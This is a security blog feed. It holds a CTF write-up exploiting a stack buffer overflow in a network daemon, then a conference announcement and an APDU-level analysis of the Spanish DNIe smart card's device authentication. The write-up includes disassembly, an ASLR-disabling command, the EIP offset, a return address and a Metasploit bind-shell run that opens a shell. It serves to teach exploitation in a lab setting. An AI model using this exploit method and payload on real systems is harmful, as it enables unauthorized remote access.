<span style="color: #00007f; font-weight: bold;">mov</span>     <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">esp</span><span style="color: #339933;">+</span><span style="color: #0000ff;">118h</span><span style="color: #339933;">+</span>var_110<span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">3E8h</span>
<span style="color: #00007f; font-weight: bold;">mov</span>     <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">esp</span><span style="color: #339933;">+</span><span style="color: #0000ff;">118h</span><span style="color: #339933;">+</span>var_114<span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #000000; font-weight: bold;">offset</span> petete
<span style="color: #00007f; font-weight: bold;">mov</span>     <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">ebp</span><span style="color: #339933;">+</span>arg_0<span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #00007f; font-weight: bold;">mov</span>     <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">esp</span><span style="color: #339933;">+</span><span style="color: #0000ff;">118h</span><span style="color: #339933;">+</span>var_118<span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #00007f;">eax</span>
<span style="color: #00007f; font-weight: bold;">call</span>    _read
<span style="color: #00007f; font-weight: bold;">mov</span>     <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">ebp</span><span style="color: #339933;">+</span>var_C<span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #00007f;">eax</span>
<span style="color: #00007f; font-weight: bold;">mov</span>     <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span> <span style="color: #000000; font-weight: bold;">offset</span> aHolaS <span style="color: #666666; font-style: italic;">; &quot;Hola %s&quot;</span>
<span style="color: #00007f; font-weight: bold;">mov</span>     <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">esp</span><span style="color: #339933;">+</span><span style="color: #0000ff;">118h</span><span style="color: #339933;">+</span>var_110<span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #000000; font-weight: bold;">offset</span> petete
<span style="color: #00007f; font-weight: bold;">mov</span>     <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">esp</span><span style="color: #339933;">+</span><span style="color: #0000ff;">118h</span><span style="color: #339933;">+</span>var_114<span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #00007f;">eax</span>
<span style="color: #00007f; font-weight: bold;">lea</span>     <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">ebp</span><span style="color: #339933;">+</span>var_106<span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #00007f; font-weight: bold;">mov</span>     <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">esp</span><span style="color: #339933;">+</span><span style="color: #0000ff;">118h</span><span style="color: #339933;">+</span>var_118<span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #00007f;">eax</span>
<span style="color: #00007f; font-weight: bold;">call</span>    _sprintf
<span style="color: #00007f; font-weight: bold;">mov</span>     <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">ebp</span><span style="color: #339933;">+</span>var_C<span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #00007f; font-weight: bold;">add</span>     <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">5</span>
<span style="color: #00007f; font-weight: bold;">mov</span>     <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">esp</span><span style="color: #339933;">+</span><span style="color: #0000ff;">118h</span><span style="color: #339933;">+</span>var_110<span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #00007f;">eax</span>
<span style="color: #00007f; font-weight: bold;">lea</span>     <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">ebp</span><span style="color: #339933;">+</span>var_106<span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #00007f; font-weight: bold;">mov</span>     <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">esp</span><span style="color: #339933;">+</span><span style="color: #0000ff;">118h</span><span style="color: #339933;">+</span>var_114<span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #00007f;">eax</span>
<span style="color: #00007f; font-weight: bold;">mov</span>     <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">ebp</span><span style="color: #339933;">+</span>arg_0<span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #00007f; font-weight: bold;">mov</span>     <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">esp</span><span style="color: #339933;">+</span><span style="color: #0000ff;">118h</span><span style="color: #339933;">+</span>var_118<span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #00007f;">eax</span>
<span style="color: #00007f; font-weight: bold;">call</span>    _write
<span style="color: #00007f; font-weight: bold;">mov</span>     <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">esp</span><span style="color: #339933;">+</span><span style="color: #0000ff;">118h</span><span style="color: #339933;">+</span>var_110<span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">1</span>
<span style="color: #00007f; font-weight: bold;">mov</span>     <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">esp</span><span style="color: #339933;">+</span><span style="color: #0000ff;">118h</span><span style="color: #339933;">+</span>var_114<span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #000000; font-weight: bold;">offset</span> asc_8048F3B <span style="color: #666666; font-style: italic;">; &quot;\n&quot;</span>
<span style="color: #00007f; font-weight: bold;">mov</span>     <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">ebp</span><span style="color: #339933;">+</span>arg_0<span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #00007f; font-weight: bold;">mov</span>     <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">esp</span><span style="color: #339933;">+</span><span style="color: #0000ff;">118h</span><span style="color: #339933;">+</span>var_118<span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #00007f;">eax</span>
<span style="color: #00007f; font-weight: bold;">call</span>    _write
<span style="color: #00007f; font-weight: bold;">leave</span>
<span style="color: #00007f; font-weight: bold;">retn</span>
say_something <span style="color: #000000; font-weight: bold;">endp</span></pre></div></div>

<p>They also provided an address space map from /proc/pid/maps, where one can see that the stack ends at 0xc0000000, which is the default userspace/kernelspace boundary in Linux x86. This means that ASLR is not enabled, so I just disabled it:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #666666; font-style: italic;"># echo 0 &gt; /proc/sys/kernel/randomize_va_space</span></pre></div></div>

<p>Then, I tried to exploit it launching the binary from the shell. However, the binary goes through several steps before it reaches the vulnerable code path. First it is 'daemonized': it forks and the parent process exists while the child process continues in the background. Not too bad, you can just attach to the child process with gdb, but this is not the interesting process yet. After it is <i>daemonized</i>, it does something along the lines of the following C code:</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;">&nbsp;
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span>setuid<span style="color: #009900;">&#40;</span><span style="color: #208080;">0x837</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">==-</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#41;</span>
    die<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;could not drop privs&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
&nbsp;
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>pw_struct <span style="color: #339933;">=</span> getpwuid<span style="color: #009900;">&#40;</span><span style="color: #208080;">0x837</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">==</span>NULL<span style="color: #009900;">&#41;</span>
    die<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;Could not get pw entry&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
chdir<span style="color: #009900;">&#40;</span>pw_struct<span style="color: #339933;">-&gt;</span>pw_dir<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>And then the process creates a socket and binds it to the tcp port 7878 and listens for incoming connections. Once a connection is received, it forks and serves it in the child process, while the parent process just goes back to the listen loop. This last process is the one we'd like to analyze, since this is the one calling our vulnerable function.</p>
<p>All this means that we'll need to do one of two things to reach this vulnerable code during our analysis: either we create a user with the uid needed or we patch the program to bypass these calls or to ask for a different uid. I took the first approach.</p>
<p>So what I did was connecting with netcat and attaching to the last process before sending any data. Then I sent a 300 byte pattern generated with Metasploit's pattern_create.rb:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ nc localhost <span style="color: #000000;">7878</span>
<span style="color: #000000; font-weight: bold;">&lt;</span>Attach to process with <span style="color: #c20cb9; font-weight: bold;">gdb</span><span style="color: #000000; font-weight: bold;">&gt;</span>
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9
eloi<span style="color: #000000; font-weight: bold;">@</span>EloiLT:~$</pre></div></div>

<p>This is what happens in gdb:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">Program received signal SIGSEGV, Segmentation fault.
0x41376941 <span style="color: #000000; font-weight: bold;">in</span> ?? <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span></pre></div></div>

<p>Great. It seems we control eip and this definitely looks like part of the metasploit pattern. Let's find which part it is:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ .<span style="color: #000000; font-weight: bold;">/</span>pattern_offset.rb <span style="color: #000000;">41376941</span> <span style="color: #000000;">300</span>
<span style="color: #000000;">261</span></pre></div></div>

<p>Allright, we have 261 bytes before we hit eip. This is a weird number, but it's due to the fact that it uses sprintf() with 5 characters in front of our input. Now we can use gdb to find where the buffer starts, and we find it at 0xbffff1c2. So this is our current situation: we can enter 261 bytes of data, then we have eip which we control, and then we have still some more room (up to the 1000 bytes read by the daemon from the network).</p>
<p>So, we'll just fill the buffer with junk, then an address in the middle of our nop sled (such as 0xbffff380), then some nops and then our payload. Since we do not have ASLR or anything, this will just work. We use a nop sled to count for the different environment the CTF server would have: a different list of environment variables will make the stack move slightly up or down.</p>
<p>Now we can make a metasploit module for it, and just launch it:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">&nbsp;
msf <span style="color: #000000; font-weight: bold;">&gt;</span> use exploit<span style="color: #000000; font-weight: bold;">/</span>linux<span style="color: #000000; font-weight: bold;">/</span>misc<span style="color: #000000; font-weight: bold;">/</span>ctf_rooted 
msf exploit<span style="color: #7a0874; font-weight: bold;">&#40;</span>ctf_rooted<span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #000000; font-weight: bold;">&gt;</span> <span style="color: #000000; font-weight: bold;">set</span> payload linux<span style="color: #000000; font-weight: bold;">/</span>x86<span style="color: #000000; font-weight: bold;">/</span>shell_bind_tcp
payload =<span style="color: #000000; font-weight: bold;">&gt;</span> linux<span style="color: #000000; font-weight: bold;">/</span>x86<span style="color: #000000; font-weight: bold;">/</span>shell_bind_tcp
msf exploit<span style="color: #7a0874; font-weight: bold;">&#40;</span>ctf_rooted<span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #000000; font-weight: bold;">&gt;</span> <span style="color: #000000; font-weight: bold;">set</span> encoder x86<span style="color: #000000; font-weight: bold;">/</span>countdown
encoder =<span style="color: #000000; font-weight: bold;">&gt;</span> x86<span style="color: #000000; font-weight: bold;">/</span>countdown
msf exploit<span style="color: #7a0874; font-weight: bold;">&#40;</span>ctf_rooted<span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #000000; font-weight: bold;">&gt;</span> exploit
&nbsp;
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> Started <span style="color: #7a0874; font-weight: bold;">bind</span> handler
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> Command shell session <span style="color: #000000;">1</span> opened <span style="color: #7a0874; font-weight: bold;">&#40;</span>127.0.0.1:<span style="color: #000000;">60111</span> -<span style="color: #000000; font-weight: bold;">&gt;</span> 127.0.0.1:<span style="color: #000000;">2222</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>
<span style="color: #c20cb9; font-weight: bold;">id</span>
<span style="color: #007800;">uid</span>=<span style="color: #000000;">1000</span><span style="color: #7a0874; font-weight: bold;">&#40;</span>eloi<span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #007800;">gid</span>=<span style="color: #000000;">1000</span><span style="color: #7a0874; font-weight: bold;">&#40;</span>eloi<span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #007800;"><span style="color: #c20cb9; font-weight: bold;">groups</span></span>=<span style="color: #000000;">4</span><span style="color: #7a0874; font-weight: bold;">&#40;</span>adm<span style="color: #7a0874; font-weight: bold;">&#41;</span>,<span style="color: #000000;">20</span><span style="color: #7a0874; font-weight: bold;">&#40;</span>dialout<span style="color: #7a0874; font-weight: bold;">&#41;</span>,<span style="color: #000000;">24</span><span style="color: #7a0874; font-weight: bold;">&#40;</span>cdrom<span style="color: #7a0874; font-weight: bold;">&#41;</span>,<span style="color: #000000;">25</span><span style="color: #7a0874; font-weight: bold;">&#40;</span>floppy<span style="color: #7a0874; font-weight: bold;">&#41;</span>,<span style="color: #000000;">29</span><span style="color: #7a0874; font-weight: bold;">&#40;</span>audio<span style="color: #7a0874; font-weight: bold;">&#41;</span>,<span style="color: #000000;">30</span><span style="color: #7a0874; font-weight: bold;">&#40;</span>dip<span style="color: #7a0874; font-weight: bold;">&#41;</span>,<span style="color: #000000;">44</span><span style="color: #7a0874; font-weight: bold;">&#40;</span>video<span style="color: #7a0874; font-weight: bold;">&#41;</span>,<span style="color: #000000;">46</span><span style="color: #7a0874; font-weight: bold;">&#40;</span>plugdev<span style="color: #7a0874; font-weight: bold;">&#41;</span>,<span style="color: #000000;">107</span><span style="color: #7a0874; font-weight: bold;">&#40;</span>fuse<span style="color: #7a0874; font-weight: bold;">&#41;</span>,<span style="color: #000000;">109</span><span style="color: #7a0874; font-weight: bold;">&#40;</span>lpadmin<span style="color: #7a0874; font-weight: bold;">&#41;</span>,<span style="color: #000000;">115</span><span style="color: #7a0874; font-weight: bold;">&#40;</span>admin<span style="color: #7a0874; font-weight: bold;">&#41;</span>,<span style="color: #000000;">1000</span><span style="color: #7a0874; font-weight: bold;">&#40;</span>eloi<span style="color: #7a0874; font-weight: bold;">&#41;</span>
<span style="color: #7a0874; font-weight: bold;">pwd</span>
<span style="color: #000000; font-weight: bold;">/</span>tmp
Abort session <span style="color: #000000;">1</span>? <span style="color: #7a0874; font-weight: bold;">&#91;</span>y<span style="color: #000000; font-weight: bold;">/</span>N<span style="color: #7a0874; font-weight: bold;">&#93;</span>  y</pre></div></div>

<p>The metasploit module can be found <a href="http://www.limited-entropy.com/docs/ctf_rooted.rb">here</a>. You can see that it is a pretty simple module and it works fine on my local machine. Maybe you need to change something in yours (at the very least, disabling randomize_va_space is required) but it should be very similar or identical. </p>
<p>I did actually fill the buffer with the return address repeated many times because it failed when I was not attached with gdb and wanted to be sure I was overwriting the saved eip. I didn't investigate the reason, just solved it putting the ret address instead of nops and making a slightly bigger nop sled than I had before.</p>
<p>Since it is a remote exploit and the environment may vary greatly from your own machine to the CTF machine, it is possible that some bruteforcing of the return address is needed. Anyway, the daemon continues alive even if your exploit fails, so it should be no problem.</p>
<p>Again, I'm sorry dude I could not help you on time. Anyway, I'm sure you guys had great fun with it!</p>
<div id="flaresmith" class="feedflare"><script src="http://feeds.feedburner.com/~s/LimitedEntropyDotCom?i=http://www.limited-entropy.com/rootedcon-ctf-write" type="text/javascript" charset="utf-8"></script></div><img src="http://feeds.feedburner.com/~r/LimitedEntropyDotCom/~4/sMewIsaf7XI" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.limited-entropy.com/rootedcon-ctf-write/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		<feedburner:origLink>http://www.limited-entropy.com/rootedcon-ctf-write</feedburner:origLink></item>
		<item>
		<title>RootedCON coming up!</title>
		<link>http://feedproxy.google.com/~r/LimitedEntropyDotCom/~3/3WkgRUQS2dg/rootedcon-coming-up</link>
		<comments>http://www.limited-entropy.com/rootedcon-coming-up#comments</comments>
		<pubDate>Sun, 14 Mar 2010 10:43:27 +0000</pubDate>
		<dc:creator>Eloi Sanfèlix</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[rootedcon]]></category>

		<guid isPermaLink="false">http://www.limited-entropy.com/?p=601</guid>
		<description><![CDATA[Yes, it's finally there! RootedCON will take place the coming week in Madrid, and I'll be there to present together with Javi some stuff about Android on Saturday. You can see our first slide spoiled by Javi on twitter here: http://twitpic.com/18f6cy The schedule looks promising and I think we are going to have loads of [...]]]></description>
			<content:encoded><![CDATA[<p>Yes, it's finally there! </p>
<p><a href="http://www.rootedcon.es">RootedCON</a> will take place the coming week in Madrid, and I'll be there to present together with <a href="http://vierito.es/wordpress">Javi</a> some stuff about Android on Saturday. You can see our first slide spoiled by Javi on twitter here: http://twitpic.com/18f6cy</p>
<p> The <a href="http://www.rootedcon.es/eng/rooted-con-2010/schedule.html">schedule</a> looks promising and I think we are going to have loads of fun <img src='http://www.limited-entropy.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' />  </p>
<p>I'll be there the three days, so if you want to talk to me about anything interesting (info security, side channel analysis, cryptography, whatever...) or have a beer just drop by!</p>
<p>See you there! </p>
<div id="flaresmith" class="feedflare"><script src="http://feeds.feedburner.com/~s/LimitedEntropyDotCom?i=http://www.limited-entropy.com/rootedcon-coming-up" type="text/javascript" charset="utf-8"></script></div><img src="http://feeds.feedburner.com/~r/LimitedEntropyDotCom/~4/3WkgRUQS2dg" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.limited-entropy.com/rootedcon-coming-up/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		<feedburner:origLink>http://www.limited-entropy.com/rootedcon-coming-up</feedburner:origLink></item>
		<item>
		<title>Understanding the DNIe, Part I : Device Authentication</title>
		<link>http://feedproxy.google.com/~r/LimitedEntropyDotCom/~3/Dg82ohyR-k4/dnie-device-auth</link>
		<comments>http://www.limited-entropy.com/dnie-device-auth#comments</comments>
		<pubDate>Sun, 28 Feb 2010 17:42:07 +0000</pubDate>
		<dc:creator>Eloi Sanfèlix</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[dnie]]></category>
		<category><![CDATA[smart cards]]></category>

		<guid isPermaLink="false">http://www.limited-entropy.com/?p=556</guid>
		<description><![CDATA[For a long time I wanted to have the opportunity to analyze the Spanish electronic ID, known in Spain as the DNIe. Last Christmas I was finally able to get an appointment with the appropriate police station in Spain and could get my brand new DNIe. Over a few posts I'm going to tell you [...]]]></description>
			<content:encoded><![CDATA[<p>For a long time I wanted to have the opportunity to analyze the Spanish electronic ID, known in Spain as the DNIe. Last Christmas I was finally able to get an appointment with the appropriate police station in Spain and could get my brand new DNIe. Over a few posts I'm going to tell you how I've been trying to understand what the device does without access to any confidential information whatsoever, using information freely available on the Internet and analyzing communication logs between my PC and my DNIe.</p>
<p>The DNIe is a smart card implementing an E-SIGN application. This application is specified by the CWA-14890 documents (where CWA means CEN Workshop Agreement, and CEN means European Committee for Standardization ) and provides an interoperable framework for secure signature devices.</p>
<p>These devices are designed to be used for electronic signatures, and in the Spanish case it has replaced the identity document we have used for many years. It is an ISO 7816 compliant smart card, with (afaik) a custom operating system. The IC has received an EAL5+ Common Criteria certificate issued by the French scheme, while the ICC has been certified by the Spanish scheme and has obtained EAL4+.</p>
<p>This is all public documentation you can find on the Internet:</p>
<ul>
<li><a href="http://www.dnielectronico.es/PDFs/CC_EAL5x_ST19WL34A_20051118.pdf">EAL5+ </a><a href="http://www.dnielectronico.es/PDFs/CC_EAL5x_ST19WL34A_20051118.pdf">CC </a><a href="http://www.dnielectronico.es/PDFs/CC_EAL5x_ST19WL34A_20051118.pdf">certificate</a> for the ST19WL34A issued by Serma Technologies in 2005.</li>
<li><a href="http://www.dnielectronico.es/seccion_integradores/cc1_p.jpg">EAL4+ CC certificate</a> for the DNIe OS issued by the CCN.</li>
<li>ESIGN specifications: <a href="http://domino.cni.cz/NP/NotesPortalCNI.nsf/key/62F699BA499EA8A2C1256FAB00319E30/$File/cwa14890-01.pdf">CWA14890-1</a> and <a href="http://www.dnielectronico.es/seccion_integradores/cwa14890-02-2004-May.pdf">CWA14890-2</a>.</li>
</ul>
<p>These documents show the Common Criteria certificates for the chip and the card, and the specifications of the protocol followed by the card.</p>
<p>Further, the Spanish Administration provides an OpenSC library in binary form, that one can use for communicating with the cards in Linux an Mac OS X. They also provide a CSP for Microsoft Windows. In the remainder of this post I'll explain my attempts at understanding how the device and the protocol work.</p>
<p>Everything has been done with consumer equipment on an Ubuntu 9.10 computer and using public documentation, thus everyone holding an actual DNIe should be able to reproduce these  steps. Let's try to understand the details about this thing and how it communicates with our PC. We will start with the Device Authentication phase, which is the first thing that takes place when you use your eID.</p>
<p>Let me remind once again that I do not have access to any confidential information related to the DNIe, and therefore this is all public information. Also, I've done this analysis on my own free time sitting at home and using publicly available tools and a PCSC reader obtained from <a href="http://www.tractis.es">Tractis</a>.</p>
<p><span id="more-556"></span></p>
<p>First things first, we need to install the drivers. To that end I followed the procedure described by the Spanish Administration in www.dnielectronico.es. Once it was working, I authenticated myself against a test website they provide at <a href="https://av-dnie.cert.fnmt.es/compruebacert/compruebacert">https://av-dnie.cert.fnmt.es/compruebacert/compruebacert</a>.</p>
<p>The authentication process worked fine, and I was shown some information about myself taken from the digital certificate stored on the card. However, the signature test did not work and it just said "<em>Your browser could not generate a valid signature</em>".</p>
<p>Since it always annoys me when I don't know why things fail, I dove into the HTML code and saw the JavaScript they use to ask for a signature. I added a print statement to see the actual error, but it was a very concise "<em>error: internalError</em>" message. So my next step was to enable APDU logging in PCSCD (using the -a option ) and take a look at the communication triggered by the use of the <em>pkcs11-tool</em> from OpenSC.</p>
<p>Another way for doing it is setting the OPENSC_DEBUG environment variable to 9 and using the OpenSC log to get the APDUs. Yet another way would be using the pkcs11-spy module, but I didn't really try this one.</p>
<p><strong>A quick smart card (iso7816 APDU) reminder</strong></p>
<p>As you might know, part of my work involves evaluating smart card security. Therefore I'm quite familiar with the ISO7816 APDU structure and  related stuff. However, it might well be that some readers never read a word about APDUs before. Let's make a fast summary with a few facts:</p>
<ul>
<li>Smart cards and terminals communicate through APDUs. The terminal requests an action from the card with an APDU request and the card gives a response.</li>
<li>APDU requests include the following: CLA INS P1 P2 Lc &lt;Data&gt; &lt;Le&gt;. CLA and INS are identifiers of the action you request to the card. P1 and P2 are parameters, Lc is the length of the provided data and Le is the length of the expected response.</li>
<li>APDU responses include the following: &lt;Data&gt; SW1 SW2. SW1 and SW2 form the so called <em>status word</em>, which gives information on whether the command succeeded or not and why.</li>
</ul>
<p>Wow! This was fast. You can get more info from <a href="http://en.wikipedia.org/wiki/Smart_card">Wikipedia</a>, or if you speak Spanish you can take a look at my former <a href="http://www.limited-entropy.com/category/smart-cards">Smart card</a> series of posts.</p>
<p><strong>DNIe: Initial communication analysis</strong></p>
<p>Ok, my next step was trying to determine why the signing process did not work. Is it something in my Firefox? Something in the binary driver? The card is not behaving in a correct way?</p>
<p>Of course to get an answer I first need to understand how the communication works. So my first attempt at it is to try to sign something using the command line tool <em>pkcs11-tool</em> and look at the communication. I'll try to find the PIN I enter in the log to start with...</p>
<p>However, this approach is fundamentally flawed. It assumes that the PIN is sent somehow in plaintext, which is actually not the case. After not understanding anything from the communication at a first glance, I decide to actually look at the specs (see link to CWA14890-1 at the beginning of this post).</p>
<p>It turns out the card and the terminal (PC) establish a <em>secure channel </em>before any further communication is performed, and therefore you are not able to see any plaintext information in the log.</p>
<p><strong>Device authentication</strong></p>
<p>Let's summarize what happens during the establishment of this <em>secure/trusted channel</em>. After receiving the <em>Answer To Reset </em>(ATR) from the card, the terminal sends the following APDU:</p>
<p><code><br />
&gt; 90 B8 00 00 11<br />
</code></p>
<p><span style="text-decoration: line-through;">At this point, I don't know what this command means. However, I have sent this command several times to the card and verified that the response is static. Also, it doesn't seem very important to me right now, and I'm more interested on what comes next.</span></p>
<p><strong>UPDATE</strong> 12/04/2010: Over the weekend I have implemented the authentication protocol explained in this post and found out that this APDU returns the serial number of the card. It's important because it is used in the INTERNAL AUTHENTICATE explained below. One should use the 7 first bytes of the response as the serial number, padding them with a leading 00 byte.</p>
<p>After this, the device authentication process actually starts. This process is described in CWA 14980-1,  but I'm going to show how it looks like here. First, the terminal (IFD from now on) issues a SELECT command to select the <em>Master File</em>:</p>
<p><code><br />
&gt; 00 A4 04 00 0B 4D 61 73 74 65 72 2E 46 69 6C 65<br />
&lt; 61 1B &gt; 00 C0 00 00 1B<br />
&lt; 6F 19 84 0B 4D 61 73 74 65 72 2E 46 69 6C 65 85 0A 38 3F 00 00 0B FF FF FF FF FF 90 00<br />
</code></p>
<p>The above means that the terminal selects the master file by its name (Master.File) and the card responds 61 1B, which means <em>ok, I have 1B bytes of response ready for you</em>. Then the IFD issues a <em>GET RESPONSE</em> command requesting the card to send those 1B bytes.</p>
<p>Now, what happens next is that the card selects another file by its ID (60 1F), which turns out to contain the card certificate for the authentication process:</p>
<p><code><br />
&gt; 00 A4 00 00 02 60 1F<br />
&lt; 61 0E  &gt; 00 C0 00 00 0E<br />
&lt; 6F 0C 85 0A 01 60 1F 03 25 00 FF FF FF FF 90 00<br />
</code></p>
<p>This response shows that the file contains 0x325 bytes of information. The IFD reads them using the <em>READ BINARY</em> ISO7816 command in several chunks:</p>
<p><code><br />
&gt; 00 B0 00 00 F0<br />
&lt; 30 82 03 ... 90 00   &gt; 00 B0 00 F0 F0<br />
&lt; 09 2A 86 ... 90 00   &gt; 00 B0 01 E0 F0<br />
&lt; 97 94 B8 ... 90 00   &gt; 00 B0 02 D0 55<br />
&lt; 2E FE C0 ... 90 00<br />
</code></p>
<p>At this point, the terminal knows the public key of the card and can verify it using the PKI set up by the Spanish authorities. Following this process, the IFD sends a couple of certificates with its own public key and the CA public key in CV (Card Verifiable) form , so that the card can verify them:</p>
<p><code><br />
&gt; 00 22 81 B6 04 &lt; 4 bytes ID &gt;<br />
&lt; 90 00 &gt; 00 2A 00 AE D2 &lt; certificate1 &gt;<br />
&lt; 90 00 &gt; 00 22 81 B6 0A &lt; 10 bytes ID &gt;<br />
&lt; 90 00 &gt; 00 2A 00 AE D1 &lt; certificate2 &gt;<br />
&lt; 90 00<br />
</code></p>
<p>And now the card also knows the public key of the other end. They are ready to engage in an authentication process now. First the IFD sets the parameters of the authentication process, which includes identifying the keys to be used for authentication and providing the IFD serial number:</p>
<p><code><br />
&gt; 00 22 C1 A4 12 84 &lt; key ID &gt; 83 0C 00 00 00 00 &lt; IFD Serial number &gt;<br />
&lt; 90 00<br />
</code></p>
<p>And then it sends an <em>INTERNAL AUTHENTICATE</em> command. This commands sends a challenge to the card and the IFD serial number sent before. Then, the card will produce a digital signature over these and other values and encrypt it under the IFD's public key provided earlier in the process.</p>
<p><code><br />
&gt; 00 88 00 00 10 &lt; 8 byte challenge &gt; &lt; IFD Serial Number &gt;<br />
&lt; 61 80 &gt; 00 0C 00 00 80<br />
&lt; encrypted digital signature<br />
</code></p>
<p>Inside this encrypted digital signature, the card has placed it's own 32 byte random number as well as the information provided by the IFD. The inclusion of the challenge ensures that the session is <em>fresh</em> and no replay is taking place. The random number sent by the card is later used to generate session keys.</p>
<p>At this point, the IFD can verify that the card is a valid one. This is done by verifying the digital signature received and comparing the random numbers (<em>nonces</em>) sent and received. If both verifications succeed, the session is fresh and the other end knows the card's private key. Therefore, assuming the card is secure enough to keep the private key private, the IFD has certainty that it's talking to a valid card.</p>
